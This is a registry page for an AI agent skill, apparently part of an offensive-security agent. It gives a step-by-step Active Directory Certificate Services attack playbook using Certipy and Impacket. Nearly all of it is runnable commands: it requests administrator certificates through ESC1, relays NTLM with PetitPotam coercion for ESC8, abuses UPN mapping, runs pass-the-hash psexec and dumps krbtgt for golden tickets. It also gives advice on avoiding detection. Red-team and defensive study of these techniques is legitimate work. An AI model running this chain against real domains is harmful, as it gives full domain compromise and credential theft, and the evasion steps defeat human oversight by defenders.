CtrlK
BlogDocsLog inGet started
Tessl Logo

ad-certipy-esc-chain

ADCS abuse via Certipy — find vulnerable templates (ESC1-ESC15), request a certificate, authenticate as the target, dump the krbtgt. Full chain in 4 commands. Covers ESC1 (any SAN), ESC2 (any-purpose EKU), ESC3 (enrollment-agent), ESC4 (vulnerable ACL), ESC8 (NTLM relay to CA), ESC9/10/11/13.

64

Quality

77%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md
SKILL.md
Quality
Evals
Security

ADCS Abuse via Certipy

certipy (Oliver Lyak / ly4k) is the single best tool for ADCS attack. Full domain compromise from a low-priv user in 4 commands, given a vulnerable template.

1. Find vulnerable templates

certipy find -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
  -enabled -vulnerable -text -stdout

# Output: shows every ESC1-ESC15 finding with the affected template
# Look for: "ESC1", "ESC2", "ESC3" sections in the report

If you can't auth, use -username '' -password '' (anonymous LDAP — sometimes works) or use the local LDAP from a compromised machine.

2. The ESC catalog — quick reference

ESCMisconfigurationExploitation primitive
ESC1Template allows SAN (Subject Alt Name) + Client Auth EKU + low-priv enrolleeRequest cert as any user (-upn administrator@target.local)
ESC2Template allows Any Purpose EKUSame as ESC1, any role
ESC3Template has Certificate Request Agent EKU + low-priv enrolleeUse the cert to request "on behalf of" another user
ESC4Vulnerable ACL on template (WriteOwner/WriteDacl/GenericAll)Modify template to make it ESC1, then exploit
ESC5Vulnerable ACL on PKI objects (CA, OID containers)Same — modify, then exploit
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CARequest ANY template with -upn target
ESC7Low-priv has Manage CA / Manage CertificatesApprove own requests, issue certs to anyone
ESC8HTTP-based enrollment endpoint existsNTLM relay to /certsrv/certfnsh.asp (see ad-coercer)
ESC9msPKI-Enrollment-Flag lacks STRONG_KEY_PROTECTION_REQUIRED and template has UPN mappingSpoof UPN, get cert
ESC10Weak certificate mapping (UPN-only, no SID extension)Same as ESC9 but for kerberos PKINIT
ESC11RPC binding without packet integrityRelay over RPC instead of HTTP
ESC13Template grants OID group membership (ADCS-managed groups)Get cert → become member of high-priv group
ESC14Specific weak ACE patterns on cert templatesEdit template, ESC1-chain
ESC15EKUwu — EKU manipulation on V1 templatesAdd Client Auth EKU to a template that lacked it

3. Exploit ESC1 (the most common)

# Request a cert as Domain Administrator
certipy req -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
  -ca 'TARGET-CA' \
  -template 'VulnerableTemplate' \
  -upn 'administrator@target.local' \
  -sid 'S-1-5-21-XXXX-500'

# Output: writes administrator.pfx — full DA cert.

4. Authenticate with the cert

# Convert to TGT
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip>
# Output: NT hash + TGT

# Use the NT hash for pass-the-hash
impacket-psexec -hashes ':<NT_HASH>' target.local/administrator@dc.target.local

5. DCSync krbtgt (final step)

# Either with the cert-derived TGT:
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local
# Or with the NT hash:
impacket-secretsdump -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
# Dumps krbtgt — full domain compromise; forge golden tickets at will.

ESC8 chain (no vulnerable template, but ADCS Web Enrollment is enabled)

# Terminal 1: relay listener
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Terminal 2: coerce DC$
python3 PetitPotam.py <attacker_ip> <dc-ip>
# OR Coercer with anonymous auth

# Terminal 1 catches: GOT CERTIFICATE! Base64 PFX of DC$
# Decode, save as dc.pfx, then:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local -dc-ip <dc-ip>
# Dumps krbtgt next.

ESC9/10 chain (UPN mapping abuse)

If you have GenericWrite on a user object (e.g., via low-priv-on-svc-account):

# 1. Change target user's UPN to a victim with no cert protection
certipy account update -u lowpriv@target.local -p pass \
  -user 'victim' -upn 'administrator@target.local'

# 2. Request a cert as victim (now resolves to admin)
certipy req -u lowpriv@target.local -p pass -ca TARGET-CA -template User \
  -dc-ip <dc-ip>

# 3. Revert UPN to avoid detection
certipy account update -u lowpriv -p pass -user victim -upn 'victim@target.local'

# 4. Auth with the cert — gives Administrator hash
certipy auth -pfx victim.pfx -domain target.local -dc-ip <dc-ip>

OPSEC

  • Microsoft Defender for Identity (MDI) flags ADCS abuse via specific event IDs (4886, 4887, 4768 with cert-based auth).
  • Issuing cert to a high-priv account from a low-priv source is one of the most-watched detections.
  • For evasion: use legitimate-looking template names; request via the most-common CA in the org; UPN-revert immediately (ESC9/10).
  • certipy auth uses PKINIT — leaves a 4768 (TGT request) where Certificate Information field is populated. Distinctive.

References

  • "Certified Pre-Owned" — SpecterOps whitepaper (the original ESC1-ESC8 catalog)
  • "Certipy 4.0" release notes (ly4k.github.io) — adds ESC9-ESC15
  • ly4k/Certipy on GitHub — the canonical tool
  • Microsoft KB articles on ADCS hardening (defender lens)
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.